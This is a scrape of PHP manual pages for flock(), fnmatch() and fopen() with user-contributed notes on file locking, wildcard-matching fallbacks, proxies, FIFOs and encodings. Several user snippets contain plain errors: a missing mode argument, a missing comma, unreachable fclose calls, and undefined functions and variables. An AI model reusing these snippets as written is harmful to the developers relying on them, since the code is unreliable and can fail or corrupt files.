BWO 20-Jan-2004 08:41
Using a secondary file for locking isn't too bad.  You simply surround your actual writes by the flock commands on the locking file.  Because of the blocking, your writes will not execute until you get the exclusive lock.

<?php
$filename = "data.txt";
$lock = ".lock";

// Lock the .lock file.
$lock_fp = fopen($lock, "r");
if (!flock($lock_fp, LOCK_EX)) {
    echo "locking failed";
}

// Write to the data file.
$fp = fopen($filename, "w");
fwrite( $fp, "word up!");
fclose($fp);

// Release the lock.
flock($lock_fp, LOCK_UN);
?>

Easy as pi.
rob 28-Aug-2003 03:45
locking a file exclusively *and* in non-blocking mode:

<?php
if (flock($fh, LOCK_EX | LOCK_NB)) {
  // do sumthin
}
else {
  // fail, report file locked
}
?>
joel[at_sign]purerave.com 27-May-2003 06:12
I have found that if you open a currently locked file with 'w' or 'w+' ("file pointer at the beginning of the file and truncate the file to zero length")  then it will not truncate the file when the lock is released and the file available.

Example I used to test it:
<?php
// a.php
$fp = fopen( "/tmp/lock.txt", "w+" );
flock( $fp, LOCK_EX ); // exclusive lock

$steps = 10;
// write to the file
for ($i=0; $i< $steps; $i++) {
    fwrite($fp, 'a '.time().' test '. $i."\n");
    sleep(1);
}
flock( $fp, LOCK_UN ); // release the lock
fclose( $fp );
?>

----------
<?php
// b.php

$fp = fopen( "/tmp/lock.txt", "w+" );
flock( $fp, LOCK_EX ); // exclusive lock

// ftruncate($fp, 0) is needed here! <----

$steps = 5;
// write to the file
for ($i=0; $i< $steps; $i++) {
    fwrite($fp, 'b '.time().' test '. $i."\n");
    sleep(1);
}
flock( $fp, LOCK_UN ); // release the lock
fclose( $fp );
?>

Loading a.php then loading b.php right after will result in:
b 1054075769 test 0
b 1054075770 test 1
b 1054075771 test 2
b 1054075772 test 3
b 1054075773 test 4
a 1054075764 test 5
a 1054075765 test 6
a 1054075766 test 7
a 1054075767 test 8
a 1054075768 test 9

As you can see, b.php does not truncate the file as the w+ would suggest if the file were instantly available. But only moves the pointer to the begining of the file. If b.php was loaded after a.php finished then there would be no "a ..." lines in the file, since it would be truncated.

To fix this you have to add ftruncate($fp, 0) right after the flock.

'r+' and 'a' seem to work fine, though.
ags one three seven at psu dot edu 12-Mar-2003 10:11
I am not certain how well this works (I've never had problems, but I haven't stress-tested it), but I have been using this solution for performing safe file locking and writing:

<?php
    if($fl = fopen($filepath))
        if(flock($fl, LOCK_EX))
            {

            fseek($fl, 0);
            ftruncate($fl, 0);

            fwrite($fl, $whateverdata);

            fflush($fl);
            flock($fl, LOCK_UN);
            fclose($fl);

            }
?>
This "cheats" and opens a file for writing by opening it for append (which doesn't truncate), then acquiring the lock first before performing any truncation or actual write operations.  Thus, if the file cannot be successfully locked, it won't be changed at all.

I usually like to assemble the data to be written in one large buffer first, so the file is open and locked for the shortest time possible.  This is also friendlier to other scripts that are blocking on lock.
carl at thep lu se 15-Feb-2003 10:31
[editors note: try out php.net/dio_fcntl]

As flock() doesn't work over NFS (whereas fcntl() does, but there's no PHP interface for that), you may have to provide some sort of backup locking system if for one reason or other you need to use NFS (or VFAT, but as the documentation points out it's antiquated). One way of achieving this is to use a relational database. If you have a table T with an integer column cnt and a _single_ row, you can:
UPDATE T set cnt = cnt + 1 WHERE cnt >= 0
to obtain a shared lock (and of course you need to verify that there was one affected row). For an exclusive lock:
UPDATE T set cnt = -1 WHERE cnt = 0
This scheme has two problems: You rely on the script to be able to release locks before exiting, and there is no way to wait for a lock (except polling). On the whole, if you can use flock() instead, use flock().
04-Sep-2002 11:58
Warning! When PHP is running as a CGI or fast-CGI extension in Apache, flock() does not guarantee that your file updates will complete!!!
If a browser starts a request and interrupts it fast enough by using many F5-key refreshes, Apache will KILL the PHP process in the middle of the update operation (because it will detect an unexpected socket close before the PHP script is complete), leaving an incomplete or truncated file!

A simple PHP script that increments a counter in a text file will demonstrate this: to update the counter, one needs to gain a lock then open the counter file in "a+" mode, rewind it, read it, rewind again, ftruncate it befire writing the new value and closing the counter file and the lock file. Have your script display the new counter value.
Now use your favorite browser on your script, and make many refreshes from the same PC, using the F5-Refresh key, you'll see that sometimes the counter returns to 0, because there's an interruption after the counter file was truncated but before the new counter value was written to the file!

Note that this affects also simple databases updates without rollback logs such as MySQL!

Before updating any data, as a security measure, and if you don't have rollback logs, you should strictly limit the number of update requests per seconds a user can make through your PHP script.

Shame, this requires a database or logging file to enable tracking user activity.

The only solution is to use an auto-backup system (for file-based databases), or a database engine with rollback capability...

I don't know if PHP implements a way to handle gracefully kill signals sent by Apache, so that we can ensure that we can complete a critical update operation.

For this problem, flock() is not a solution!
This is a MAJOR security issue for all sites that use text-file based databases!
geoff at message dot hu 06-Aug-2002 01:10
You should lock the file _before_ opening it, and unlock _after_ closing it. Othervise an another process might be able to access the file between the lock/unlock and the open/close operation.
filetype
fnmatch
Filesystem Functions


Match filename against a pattern

flock
fopen
Filesystem Functions
PHP Manual

fnmatch

(PHP 4 >= 4.3.0, PHP 5)

fnmatch — Match filename against a pattern

Description

bool fnmatch ( string $pattern , string $string [, int $flags = 0 ] )

fnmatch() checks if the passed string would match the given shell wildcard pattern.

Parameters

pattern

The shell wildcard pattern.

string

The tested string. This function is especially useful for filenames, but may also be used on regular strings.

The average user may be used to shell patterns or at least in their simplest form to '?' and '*' wildcards so using fnmatch() instead of preg_match() for frontend search expression input may be way more convenient for non-programming users.

flags

The value of flags can be any combination of the following flags, joined with the binary OR (|) operator.

A list of possible flags for fnmatch()
Flag | Description
FNM_NOESCAPE | Disable backslash escaping.
FNM_PATHNAME | Slash in string only matches slash in the given pattern.
FNM_PERIOD | Leading period in string must be exactly matched by period in the given pattern.
FNM_CASEFOLD | Caseless match. Part of the GNU extension.

Return Values

Returns TRUE if there is a match, FALSE otherwise.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.

Examples

Example #1 Checking a color name against a shell wildcard pattern

<?php
if (fnmatch("*gr[ae]y", $color)) {
  echo "some form of gray ...";
}
?>

Notes

Warning

For now this function is not available on non-POSIX compliant systems.

See Also

  • glob() - Find pathnames matching a pattern
  • preg_match() - Perform a regular expression match
  • sscanf() - Parses input from a string according to a format
  • printf() - Output a formatted string
  • sprintf() - Return a formatted string

User Contributed Notes

me at rowanlewis dot com 30-Sep-2010 10:58
Here's a definitive solution, which supports negative character classes and the four documented flags.

<?php

    if (!function_exists('fnmatch')) {
        define('FNM_PATHNAME', 1);
        define('FNM_NOESCAPE', 2);
        define('FNM_PERIOD', 4);
        define('FNM_CASEFOLD', 16);

        function fnmatch($pattern, $string, $flags = 0) {
            return pcre_fnmatch($pattern, $string, $flags);
        }
    }

    function pcre_fnmatch($pattern, $string, $flags = 0) {
        $modifiers = null;
        $transforms = array(
            '\*'    => '.*',
            '\?'    => '.',
            '\[\!'    => '[^',
            '\['    => '[',
            '\]'    => ']',
            '\.'    => '\.',
            '\\'    => '\\\\'
        );

        // Forward slash in string must be in pattern:
        if ($flags & FNM_PATHNAME) {
            $transforms['\*'] = '[^/]*';
        }

        // Back slash should not be escaped:
        if ($flags & FNM_NOESCAPE) {
            unset($transforms['\\']);
        }

        // Perform case insensitive match:
        if ($flags & FNM_CASEFOLD) {
            $modifiers .= 'i';
        }

        // Period at start must be the same as pattern:
        if ($flags & FNM_PERIOD) {
            if (strpos($string, '.') === 0 && strpos($pattern, '.') !== 0) return false;
        }

        $pattern = '#^'
            . strtr(preg_quote($pattern, '#'), $transforms)
            . '$#'
            . $modifiers;

        return (boolean)preg_match($pattern, $string);
    }

?>

This probably needs further testing, but it seems to function identically to the native fnmatch implementation.
Sinured 19-Mar-2008 01:04
An addition to my previous note: My statement regarding the FNM_* constants was wrong. They are available on POSIX-compliant systems (in other words, if fnmatch() is defined).
theboydanny at gmail dot com 29-Nov-2007 10:31
About the windows compat functions below:
I needed fnmatch for a application that had to work on Windows, took a look here and tested both. Jk's works for me, soywiz didn't (on WinXPSP2, PHP 5.2.3).
The only difference between them is addcslashes (soywiz) instead of preg_quote (jk). They _should_ both work, but for some reason soywiz's didn't for me. So YMMV.
However, to make JK's fnmatch() work with the example in the documentation, you also have to strtr the [ and ] in $pattern.
<?php
$pattern = strtr(preg_quote($pattern, '#'), array('\*' => '.*', '\?' => '.', '\[' => '[', '\]' => ']'));
?>
And thanks for the functions, guys.
Sinured 30-Jul-2007 10:14
Possible flags (scratched out of fnmatch.h):
...::...

FNM_PATHNAME:
> Slash in $string only matches slash in $pattern.

FNM_PERIOD:
> Leading period in $string must be exactly matched by period in $pattern.

FNM_NOESCAPE:
> Disable backslash escaping.

FNM_NOSYS:
> Obsolescent.

FNM_FILE_NAME:
> Alias of FNM_PATHNAME.

FNM_LEADING_DIR:
> From fnmatch.h: /* Ignore `/...' after a match.  */

FNM_CASEFOLD:
> Caseless match.

Since they’re appearing in file.c, but are not available in PHP, we’ll have to define them ourselves:
<?php
define('FNM_PATHNAME', 1);
define('FNM_PERIOD', 4);
define('FNM_NOESCAPE', 2);
// GNU extensions
define('FNM_FILE_NAME', FNM_PATHNAME);
define('FNM_LEADING_DIR', 8);
define('FNM_CASEFOLD', 16);
?>

I didn’t test any of these except casefold, which worked for me.
Frederik Krautwald 12-Jun-2007 10:30
soywiz's function still doesn't seem to work -- at least not with PHP 5.2.3 on Windows -- but jk's does.
soywiz at NOSPAM dot php dot net 20-Jan-2007 07:40
A revised better alternative for fnmatch on windows. It should work well on PHP >= 4.0.0

<?php
    if (!function_exists('fnmatch')) {
        function fnmatch($pattern, $string) {
            return @preg_match(
                '/^' . strtr(addcslashes($pattern, '/\\.+^$(){}=!<>|'),
                array('*' => '.*', '?' => '.?')) . '$/i', $string
            );
        }
    }
?>
jk at ricochetsolutions dot com 13-Dec-2006 05:39
soywiz's function didnt seem to work for me, but this did.

<?php
if(!function_exists('fnmatch')) {

    function fnmatch($pattern, $string) {
        return preg_match("#^".strtr(preg_quote($pattern, '#'), array('\*' => '.*', '\?' => '.'))."$#i", $string);
    } // end

} // end if
?>
soywiz at php dot net 17-Jul-2006 07:12
A better "fnmatch" alternative for windows that converts a fnmatch pattern into a preg one. It should work on PHP >= 4.0.0

<?php
    if (!function_exists('fnmatch')) {
        function fnmatch($pattern, $string) {
            return @preg_match('/^' . strtr(addcslashes($pattern, '\\.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string);
        }
    }
?>
jsnell at networkninja dot com 02-Mar-2006 07:12
The last line of soywiz at gmail dot com windows replacement should be changed to:

   return preg_match('/' . $npattern . '$/i', $string);

otherwise, a pattern for *.xml will match file.xml~ or any else anything with the text *.xml in it, regardless of position.
soywiz at gmail dot com 26-Jul-2005 04:07
A "fnmatch" alternative that converts the pattern, to a valid preg one and uses preg_match then. It will work on windows.

<?php
if (!function_exists('fnmatch')) {
function fnmatch($pattern, $string) {
    for ($op = 0, $npattern = '', $n = 0, $l = strlen($pattern); $n < $l; $n++) {
        switch ($c = $pattern[$n]) {
            case '\\':
                $npattern .= '\\' . @$pattern[++$n];
            break;
            case '.': case '+': case '^': case '$': case '(': case ')': case '{': case '}': case '=': case '!': case '<': case '>': case '|':
                $npattern .= '\\' . $c;
            break;
            case '?': case '*':
                $npattern .= '.' . $c;
            break;
            case '[': case ']': default:
                $npattern .= $c;
                if ($c == '[') {
                    $op++;
                } else if ($c == ']') {
                    if ($op == 0) return false;
                    $op--;
                }
            break;
        }
    }

    if ($op != 0) return false;

    return preg_match('/' . $npattern . '/i', $string);
}
}
?>
phlipping at yahoo dot com 06-Aug-2003 03:59
you couls also try this function that I wrote before I found fnmatch:

function WildToReg($str)
{
  $s = "";
  for ($i = 0; $i < strlen($str); $i++)
  {
   $c = $str{$i};
   if ($c =='?')
    $s .= '.'; // any character
   else if ($c == '*')
    $s .= '.*'; // 0 or more any characters
   else if ($c == '[' || $c == ']')
    $s .= $c;  // one of characters within []
   else
    $s .= '\\' . $c;
  }
  $s = '^' . $s . '$';

  //trim redundant ^ or $
  //eg ^.*\.txt$ matches exactly the same as \.txt$
  if (substr($s,0,3) == "^.*")
   $s = substr($s,3);
  if (substr($s,-3,3) == ".*$")
   $s = substr($s,0,-3);
  return $s;
}

if (ereg(WildToReg("*.txt"), $fn))
  print "$fn is a text file";
else
  print "$fn is not a text file";
flock
fopen
Filesystem Functions


Opens file or URL

fnmatch
fpassthru
Filesystem Functions
PHP Manual

fopen

(PHP 4, PHP 5)

fopen — Opens file or URL

Description

resource fopen ( string $filename , string $mode [, bool $use_include_path = false [, resource $context ]] )

fopen() binds a named resource, specified by filename, to a stream.

Parameters

filename

If filename is of the form "scheme://...", it is assumed to be a URL and PHP will search for a protocol handler (also known as a wrapper) for that scheme. If no wrappers for that protocol are registered, PHP will emit a notice to help you track potential problems in your script and then continue as though filename specifies a regular file.

If PHP has decided that filename specifies a local file, then it will try to open a stream on that file. The file must be accessible to PHP, so you need to ensure that the file access permissions allow this access. If you have enabled safe mode, or open_basedir further restrictions may apply.

If PHP has decided that filename specifies a registered protocol, and that protocol is registered as a network URL, PHP will check to make sure that allow_url_fopen is enabled. If it is switched off, PHP will emit a warning and the fopen call will fail.

Note:

The list of supported protocols can be found in Supported Protocols and Wrappers. Some protocols (also referred to as wrappers) support context and/or php.ini options. Refer to the specific page for the protocol in use for a list of options which can be set. (e.g. php.ini value user_agent used by the http wrapper).

On the Windows platform, be careful to escape any backslashes used in the path to the file, or use forward slashes.

<?php
$handle = fopen("c:\\folder\\resource.txt", "r");
?>

mode

The mode parameter specifies the type of access you require to the stream. It may be any of the following:

A list of possible modes for fopen() using mode
mode | Description
'r' | Open for reading only; place the file pointer at the beginning of the file.
'r+' | Open for reading and writing; place the file pointer at the beginning of the file.
'w' | Open for writing only; place the file pointer at the beginning of the file and truncate the file to zero length. If the file does not exist, attempt to create it.
'w+' | Open for reading and writing; place the file pointer at the beginning of the file and truncate the file to zero length. If the file does not exist, attempt to create it.
'a' | Open for writing only; place the file pointer at the end of the file. If the file does not exist, attempt to create it.
'a+' | Open for reading and writing; place the file pointer at the end of the file. If the file does not exist, attempt to create it.
'x' | Create and open for writing only; place the file pointer at the beginning of the file. If the file already exists, the fopen() call will fail by returning FALSE and generating an error of level E_WARNING. If the file does not exist, attempt to create it. This is equivalent to specifying O_EXCL|O_CREAT flags for the underlying open(2) system call.
'x+' | Create and open for reading and writing; otherwise it has the same behavior as 'x'.
'c' | Open the file for writing only. If the file does not exist, it is created. If it exists, it is neither truncated (as opposed to 'w'), nor the call to this function fails (as is the case with 'x'). The file pointer is positioned on the beginning of the file. This may be useful if it's desired to get an advisory lock (see flock()) before attempting to modify the file, as using 'w' could truncate the file before the lock was obtained (if truncation is desired, ftruncate() can be used after the lock is requested).
'c+' | Open the file for reading and writing; otherwise it has the same behavior as 'c'.

Note:

Different operating system families have different line-ending conventions. When you write a text file and want to insert a line break, you need to use the correct line-ending character(s) for your operating system. Unix based systems use \n as the line ending character, Windows based systems use \r\n as the line ending characters and Macintosh based systems use \r as the line ending character.

If you use the wrong line ending characters when writing your files, you might find that other applications that open those files will "look funny".

Windows offers a text-mode translation flag ('t') which will transparently translate \n to \r\n when working with the file. In contrast, you can also use 'b' to force binary mode, which will not translate your data. To use these flags, specify either 'b' or 't' as the last character of the mode parameter.

The default translation mode depends on the SAPI and version of PHP that you are using, so you are encouraged to always specify the appropriate flag for portability reasons. You should use the 't' mode if you are working with plain-text files and you use \n to delimit your line endings in your script, but expect your files to be readable with applications such as notepad. You should use the 'b' in all other cases.

If you do not specify the 'b' flag when working with binary files, you may experience strange problems with your data, including broken image files and strange problems with \r\n characters.

Note:

For portability, it is strongly recommended that you always use the 'b' flag when opening files with fopen().

Note:

Again, for portability, it is also strongly recommended that you re-write code that uses or relies upon the 't' mode so that it uses the correct line endings and 'b' mode instead.

use_include_path

The optional third use_include_path parameter can be set to '1' or TRUE if you want to search for the file in the include_path, too.

context

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

Return Values

Returns a file pointer resource on success, or FALSE on error.

Errors/Exceptions

If the open fails, an error of level E_WARNING is generated. You may use @ to suppress this warning.

Changelog

Version | Description
4.3.2 | As of PHP 4.3.2, the default mode is set to binary for all platforms that distinguish between binary and text mode. If you are having problems with your scripts after upgrading, try using the 't' flag as a workaround until you have made your script more portable as mentioned before
4.3.2 | The 'x' and 'x+' options were added
5.2.6 | The 'c' and 'c+' options were added

Examples

Example #1 fopen() examples

<?php
$handle = fopen("/home/rasmus/file.txt", "r");
$handle = fopen("/home/rasmus/file.gif", "wb");
$handle = fopen("http://www.example.com/", "r");
$handle = fopen("ftp://user:password@example.com/somefile.txt", "w");
?>

Notes

Warning

When using SSL, Microsoft IIS will violate the protocol by closing the connection without sending a close_notify indicator. PHP will report this as "SSL: Fatal Protocol Error" when you reach the end of the data. To work around this, the value of error_reporting should be lowered to a level that does not include warnings. PHP 4.3.7 and higher can detect buggy IIS server software when you open the stream using the https:// wrapper and will suppress the warning. When using fsockopen() to create an ssl:// socket, the developer is responsible for detecting and suppressing this warning.

Note: When safe mode is enabled, PHP checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.

If you are experiencing problems with reading and writing to files and you're using the server module version of PHP, remember to make sure that the files and directories you're using are accessible to the server process.

See Also

  • Supported Protocols and Wrappers
  • fclose() - Closes an open file pointer
  • fgets() - Gets line from file pointer
  • fread() - Binary-safe file read
  • fwrite() - Binary-safe file write
  • fsockopen() - Open Internet or Unix domain socket connection
  • file() - Reads entire file into an array
  • file_exists() - Checks whether a file or directory exists
  • is_readable() - Tells whether a file exists and is readable
  • stream_set_timeout() - Set timeout period on a stream
  • popen() - Opens process file pointer
  • stream_context_create() - Create a streams context
  • umask() - Changes the current umask
  • SplFileObject

User Contributed Notes

merye at web-graphique dot com 19-Aug-2011 01:10
I had to switch from relative paths to full paths when my web host recently migrated the server onto their hosting cloud.  This used to work for me:

<?php
$fplog = fopen('ipn.log','a');
?>

After the migration, however, I received the following error message:

Warning: fopen(ipn.log) [function.fopen]: failed to open stream: Permission denied in D:\home\server_name\log_test.php on line 21

I had to change the code to the following to get it to work:

<?php
$logfile = $_SERVER['DOCUMENT_ROOT'].'\\ipn.log';
$fplog = fopen($logfile,'a');
?>
php at richardneill dot org 01-Aug-2011 09:39
fopen() will block if the file to be opened is a fifo. This is true whether it's opened in "r" or "w" mode.  (See man 7 fifo: this is the correct, default behaviour; although Linux supports non-blocking fopen() of a fifo, PHP doesn't).
The consequence of this is that you can't discover whether an initial fifo read/write would block because to do that you need stream_select(), which in turn requires that fopen() has happened!
splogamurugan at gmail dot com 09-Jun-2011 02:13
While opening a file with multibyte data (Ex: données multi-octets), faced some issues with the encoding. Got to know that it uses  windows-1250. Used iconv to convert it to UTF-8 and it resolved the issue.

<?php
function utf8_fopen_read($fileName) {
    $fc = iconv('windows-1250', 'utf-8', file_get_contents($fileName));
    $handle=fopen("php://memory", "rw");
    fwrite($handle, $fc);
    fseek($handle, 0);
    return $handle;
}
?>

Example usage:

<?php
$fh = utf8_fopen_read("./tpKpiBundle.csv");
while (($data = fgetcsv($fh, 1000, ",")) !== false) {
    foreach ($data as $value) {
        echo $value . "<br />\n";
    }
}
?>

Hope it helps.
owltech at larkandowl dot net 06-Feb-2011 11:20
[fopen note]

I have been trying unsuccessfully to upload and read a Mac OS file on a Linux server. Lots of records show up a just one big using only the following:

<?php $fhandle = fopen($file, 'r'); ?>
  or
<?php $fhandle = fopen($file, 'rb'); ?>

It does work, however, this way:

<?php
ini_set('auto_detect_line_endings', TRUE);
$fhandle = fopen($file, 'r');
?>
conartist6 at gmail dot com 04-Nov-2010 09:35
In other comments it has been noted that fopen hangs when opening any fifo which is not actively being written to. It has also been noted that it is possible to prevent this behaviour by performing an fopen with the "r+" flags such that PHP keeps a handle open to the fifo itself.

I hereby document that using the "r+" flag on a pipe under Linux (Slackware 13.0 (i486) and PHP 5.2.14) will render PHP unable to read data waiting to be written to the pipe by any other process. As far as I can tell "r+" is not a valid (read: useful) set of flags for fifo pipes.
Brad G 16-Oct-2010 02:10
While adding CFLAGS="-D_FILE_OFFSET_BITS=64" immediately before calling "./configure" on the PHP source will enable support for using fopen() on large files (greater than 2 GB), note that -- if such an installation of PHP is used in conjunction with Apache HTTPD [2.x], Apache will become completely unresponsive even when not serving output from a PHP application.

In order to gain large file support for non-web applications while maintaining the operability of Apache, consider making two distinct PHP installations:  one with the above CFLAGS specified during configuration (for non-web uses), and the other without this flag (for use with Apache).
eyrie88 at gmail dot com 31-Jul-2010 07:39
Be aware that fopen($url) also respects HTTP status headers. If the URL responds with a 1xx, 4xx, or 5xx status code, you will get a "failed to open stream: HTTP request failed!", followed by the HTTP status response. Same goes for file_get_contents($url)...
anfragen at tsgames dot de 27-May-2010 05:54
Since the http-wrapper doesn't support stat() and so you can't use file_exists() for url's, you can simply use a function like this:

<?php
function http_file_exists($url)
{
$f=@fopen($url,"r");
if($f)
{
fclose($f);
return true;
}
return false;
}
?>
te at sky-networx dot de 01-May-2010 11:13
This is my method for loading the file content.

<?php
public static function loadFile($sFilename, $sCharset = 'UTF-8')
{
    if (floatval(phpversion()) >= 4.3) {
        $sData = file_get_contents($sFilename);
    } else {
        if (!file_exists($sFilename)) return -3;
        $rHandle = fopen($sFilename, 'r');
        if (!$rHandle) return -2;

        $sData = '';
        while(!feof($rHandle))
            $sData .= fread($rHandle, filesize($sFilename));
        fclose($rHandle);
    }
    if ($sEncoding = mb_detect_encoding($sData, 'auto', true) != $sCharset)
        $sData = mb_convert_encoding($sData, $sCharset, $sEncoding);
    return $sData;
}
?>
magnetik at magnetik dot org 21-Jan-2010 06:43
There IS an option to use fopen with a proxy, it's in $context.
No need to recode everything.
Pastix 20-Jan-2010 03:04
If fopen() has been disabled for security reasons, is possible a porting FROM:

<?php
$f=fopen($file,'rb');
$data='';
while(!feof($f))
    $data.=fread($f,$size);
fclose($f);
?>

TO:

<?php
$data = file_get_contents($file); // (PHP 4 >= 4.3.0, PHP 5)
?>

and also a porting FROM:

<?php
$f = fopen($file,'wb');
fwrite($f,$content,strlen($content));
fclose($f);
?>

TO:

<?php
$f=file_put_contents($file, $content); // (PHP 5)
?>

For detail read the php manual.
rene 04-Jan-2010 02:43
if fopen() throws a E_WARNING "failed to open stream: HTTP request failed!" at you when opening a valid URL that you know returns data, i advise you to do the following before calling fopen($url,'r'):

<?php
ini_set ('user_agent', $_SERVER['HTTP_USER_AGENT']);
?>

or anyways, set that 'user_agent' with ini_set() to something valid.

thanks, pollita|at|php.net @ http://bugs.php.net/bug.php?id=22937#c64196 , for the clue to this
b dot evieux at gmail dot com 27-Nov-2009 03:28
Hello all. I have had trouble getting files through proxy, and the solution posted above only works if the requested file is also hosted on the proxy server (which is quite unlikely). so I've put together the following functions pfopen & preadfile. they quite work like the replaced fopen & readfile, and will resort to them if no proxy is provided :)

<?php
function preadfile($_url, $_proxy_name = null, $_proxy_port = 4480){
  if(is_null($_proxy_name) || LOCAL_TEST){
    return readfile($_url);
  }else{
    $proxy_cont = '';

    $proxy_fp = pfopen($_url, $_proxy_name, $_proxy_port);
    while(!feof($proxy_fp)) {$proxy_cont .= fread($proxy_fp,4096);}
    fclose($proxy_fp);

    $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
    echo $proxy_cont;
    return count($proxy_cont);
  }
}
function pfopen($_url, $_proxy_name = null, $_proxy_port = 4480) {
  if(is_null($_proxy_name) || LOCAL_TEST){
    return fopen($_url);
  }else{
    $proxy_fp = fsockopen($_proxy_name, $_proxy_port);
    if (!$proxy_fp) return false;
    $host= substr($_url, 7);
    $host = substr($bucket, 0, strpos($host, "/"));

    $request = "GET $_url HTTP/1.0\r\nHost:$host\r\n\r\n";

    fputs($proxy_fp, $request);

    return $proxy_fp;
  }
}
?>
jbud at jbud dot co dot cc 16-Nov-2009 07:41
This is a function for reading or writing to a text file...
The function has three modes, READ, WRITE, and READ/WRITE... READ, returns the text of a file, or returns FALSE if the file isn't found. WRITE creates or overrides a file with the text from the $input string, WRITE returns TRUE or FALSE depending on success or failure. READ/WRITE reads a text file, then writes the string from $input to the end of the file, like WRITE, it returns TRUE or FALSE depending on success or failure.

<?php
function openFile($file, $mode, $input) {
    if ($mode == "READ") {
        if (file_exists($file)) {
            $handle = fopen($file, "r");
            $output = fread($handle, filesize($file));
            return $output; // output file text
        } else {
            return false; // failed.
        }
    } elseif ($mode == "WRITE") {
        $handle = fopen($file, "w");
        if (!fwrite($handle, $input)) {
            return false; // failed.
        } else {
            return true; //success.
        }
    } elseif ($mode == "READ/WRITE") {
        if (file_exists($file) && isset($input)) {
            $handle = fopen($file "r+");
            $read = fread($handle, filesize($file));
            $data = $read.$input;
            if (!fwrite($handle, $data)) {
                return false; // failed.
            } else {
                return true; // success.
            }
        } else {
            return false; // failed.
        }
    } else {
        return false; // failed.
    }
    fclose($handle);
}
?>
EXAMPLE CALLS:
<php
openFile2("files/text.txt", "WRITE", "Hello World!");
echo openFile2("files/text.txt", "READ"); // OUTPUT > Hello World!
openFile2("files/text.txt", "READ/WRITE", "!!");
echo openFile2("files/text.txt", "READ"); // OUTPUT > Hello World!!!
?>
maxime dot marais at gmail dot com 09-Nov-2009 07:45
Take great care if you project to use both ftp and
compression wrapper within fopened stream to remotely
write a compressed file built on the fly.

This code :

<?php
$resFile = fopen('compress.bzip2://./test.rnd.bz2', 'wb');
for ($i=0; $i < 1000000 ; $i++)
{
 fwrite($resFile, chr(rand(255)));
}
fclose($resFile);
?>

will produce a well formed bz2 compressed random content file.

<?php
$resFile =
fopen('compress.bzip2://ftp://ftp.example.com/test.rnd.bz2',
'wb');
for ($i=0; $i < 1000000 ; $i++)
{
 fwrite($resFile, chr(rand(255)));
}
fclose($resFile);
?>

will produce a corrupted bz2 compressed random content
file. The file is not really corrupted, it is incomplete. The
tail of the file is not written to the stream, the file is
truncated at the end of complete compressed data block.

Adding fflush($resFile); before closing the file does not fix
this issue.

This problem can be reproduced with PHP 5.2.6 (bundled
with Debian 2.6.26-13lenny2) and may be related to
http://bugs.php.net/bug.php?id=42117.
Mikhail Nemtsev 31-Aug-2009 04:27
As someone has mentioned already, using fopen() in r+ mode overwrites the beginning of the file with new data. So, if you want to append new data to the beginning of the file, do so as follows:
<?php
$filename = "myfile.txt";
    //first, obtain the data initially present in the text file
    $ini_handle = fopen($filename, "r");
    $ini_contents = fread($ini_handle, filesize($filename));
    fclose($ini_handle);
    //done obtaining initially present data

    //write new data to the file, along with the old data
    $handle = fopen($filename, "w+");
        $writestring = "text to write to file\n" . $ini_contents;
        if (fwrite($handle, $writestring) === false) {
            echo "Cannot write to text file. <br />";
        }
    fclose($handle);
?>
gmdebby at gmail dot com 08-Jun-2009 06:49
I was wondering why was added the "x" mode, it works only if the file do not exists, will create it and open it in read only, it's useless !!
But I found something I could do with that.

Here is a little mk_file function.

<?php
function mk_file($filename) {
    if(!is_file($filename)) {
        fclose(fopen($filename,"x")); //create the file and close it
        return true;
    } else return false; //file already exists
}
?>

You can improve it, add chmod support etc...
php at delhelsa dot com 24-Jun-2008 12:27
With php 5.2.5 on Apache 2.2.4, accessing files on an ftp server with fopen() or readfile() requires an extra forwardslash if an absolute path is needed.

i.e., if a file called bullbes.txt is stored under /var/school/ on ftp server example.com and you're trying to access it with user blossom and password buttercup, the url would be:

ftp://blossom:buttercup@example.com//var/school/bubbles.txt

Note the two forwardslashes. It looks like the second one is needed so the server won't interpret the path as relative to blossom's home on townsville.
erk_3 at hotmail dot com 12-May-2008 08:48
If you are getting permission denied trying to write/read to a network resource, you have to change the system account that the apache service is runnning on.
However if you are on a domain, you will need to use the user name as:
user@domain.com

If you user the format: domain\username  the service will successfully start, but you will still receive errors trying to access the network resource.
webmaster at myeshop dot fr 26-Apr-2008 07:40
Also a small function useful for backup for example. It's a mixed between the fopen() and the mkdir() functions.

This function opens a file but also make the path recursively where the file is contained. This is helpful for ending to finish with "No such file or directory in" errors

<?php
function fopen_recursive($path, $mode, $chmod=0755){
  preg_match('`^(.+)/([a-zA-Z0-9]+\.[a-z]+)$`i', $path, $matches);
  $directory = $matches[1];
  $file = $matches[2];

  if (!is_dir($directory)){
    if (!mkdir($directory, $chmod, 1)){
    return FALSE;
    }
  }
 return fopen ($path, $mode);
}
?>
jphansen at uga dot edu 22-Feb-2008 07:04
If you open a file with r+ and execute an fwrite(), writing less to the file than what it originally was, it will result in the difference being padded with the end of the file from the previous end of the file. Example:

<?php
// Open file for read and string modification
$file = "/test";
$fh = fopen($file, 'r+');
$contents = fread($fh, filesize($file));
$new_contents = str_replace("hello world", "hello", $contents);
fclose($fh);

// Open file to write
$fh = fopen($file, 'r+');
fwrite($fh, $new_contents);
fclose($fh);
?>

If the end of the file was "abcdefghij", you will notice that the difference in "hello world" and "hello", 6 characters, will be appended to the file, resulting in the new ending: "efghij". To obviate this, fopen() with +w instead, which truncates the file to zero length.
sean downey 09-Feb-2008 12:23
when using ssl / https on windows i would get the error:
"Warning: fopen(https://example.com): failed to open stream: Invalid argument in someSpecialFile.php on line 4344534"

This was because I did not have the extension "php_openssl.dll" enabled.

So if you have the same problem, goto your php.ini file and enable it :)
info at NOSPAMPLEASE dot c-eagle dot com 08-Oct-2007 06:14
If there is a file that´s excessively being rewritten by many different users, you´ll note that two almost-simultaneously accesses on that file could interfere with each other. For example if there´s a chat history containing only the last 25 chat lines. Now adding a line also means deleting the very first one. So while that whole writing is happening, another user might also add a line, reading the file, which, at this point, is incomplete, because it´s just being rewritten. The second user would then rewrite an incomplete file and add its line to it, meaning: you just got yourself some data loss!

If flock() was working at all, that might be the key to not let those interferences happen - but flock() mostly won´t work as expected (at least that´s my experience on any linux webserver I´ve tried), and writing own file-locking-functions comes with a lot of possible issues that would finally result in corrupted files. Even though it´s very unlikely, it´s not impossible and has happened to me already.

So I came up with another solution for the file-interference-problem:

